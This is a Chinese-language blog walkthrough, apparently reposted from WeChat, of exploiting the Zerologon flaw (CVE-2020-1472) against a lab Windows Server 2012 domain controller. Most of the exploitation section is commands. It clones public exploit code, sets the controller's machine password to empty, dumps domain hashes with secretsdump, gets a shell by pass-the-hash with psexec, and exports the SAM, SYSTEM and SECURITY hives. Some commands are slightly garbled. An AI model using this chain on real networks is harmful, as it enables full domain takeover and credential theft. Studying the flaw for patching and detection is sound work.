漏洞概述
2020年8月11号,微软修复了Netlogon 特权提升漏洞,当攻击者使用 Netlogon 远程协议 (MS-NRPC) 建立与域控制器连接的易受攻击的 Netlogon 安全通道时,存在特权提升漏洞。成功利用此漏洞的攻击者可以在网络中的设备上运行经特殊设计的应用程序。
要利用此漏洞,未通过身份验证的攻击者需要将 MS-NRPC 连接到域控制器,以获取域管理员访问权限。而2020年9月15日,secura发布了漏洞细节,之后相关的EXP也就被构造出来,漏洞原理
Netlogon使用的AES认证算法中的vi向量默认为0,导致攻击者可以绕过认证,同时其设置域控密码的远程接口也使用了该函数,导致可以将域控中保存在AD中的管理员password设置为空
环境配置
DC
VERSION :Windows Server 2012 R2 Datacenter
HOSTNAME :DC
IP :10.1.1.3
漏洞验证
所以这个漏洞完整的利⽤,需要域控开启135和445端⼝。
使用如下脚本判断
git clone https://github.com/SecuraBV/CVE-2020-1472
cd CVE-2020-1472
pip install -r requirements.txt
python3 zerologon_tester.py '域控主机名' '域控ip'
success!
漏洞利用
环境配置
攻击机环境要求python版本再3.7以上,而且要获取最新版的Impacket,否则会产生如下报错报错(新版本中更新了我们利用中会用到的函数NetrServerPasswordSet2)
AttributeError: module 'impacket.dcerpc.v5.nrpc' has no attribute 'NetrServerPasswordSet2'
安装Impacket
git clone https://github.com/SecureAuthCorp/impacketcd
cd impacket
pip install .
下载EXP
git clone https://github.com/dirkjanm/CVE-2020-1472
先获取一波DC hash
置空密码
python3 cve-2020-1472-exploit.py DC 10.1.1.3
获取HASH
接下来我们通过secretsdump.py根据DRS协议来获取相关的HASH,这里注意Windows用户在终端中的命令无需转义
python secretsdump.py abc.com/[email protected]
获取SHELL
获取到HASH之后pth
python psexec.py qin9.com/[email protected] -hashes
获取原HASH
获取SHELL后我们执行以下命令,导出SAM中原来的HASH
get失败是因为本地没开共享
reg save hklmsam sam.save
reg save hklmsystem system.save
reg save hklmsecurity security.save
get sam.save
get system.save
get security.save
解HASH
执行如下命令,利用 secretsdump.py 解析保存在本地的nt hash
python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
然后我们保存上图中红框部分
恢复HASH
git clone https://github.com/risksense/zerologon
python reinstall_original_pw.py dc 10.1.1.3 0bee80cd603304a6a3bbc37f606959bb
检查是否恢复
我们这时候再用获取HASH时测试一下是否已经已经恢复
python secretsdump.py DOMAIN/DC_NETBIOS_NAME$@DC_IP_ADDR -just-dc -no-pass
原文始发于微信公众号(qin9):Netlogon(cve2020-1472)接管域控
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论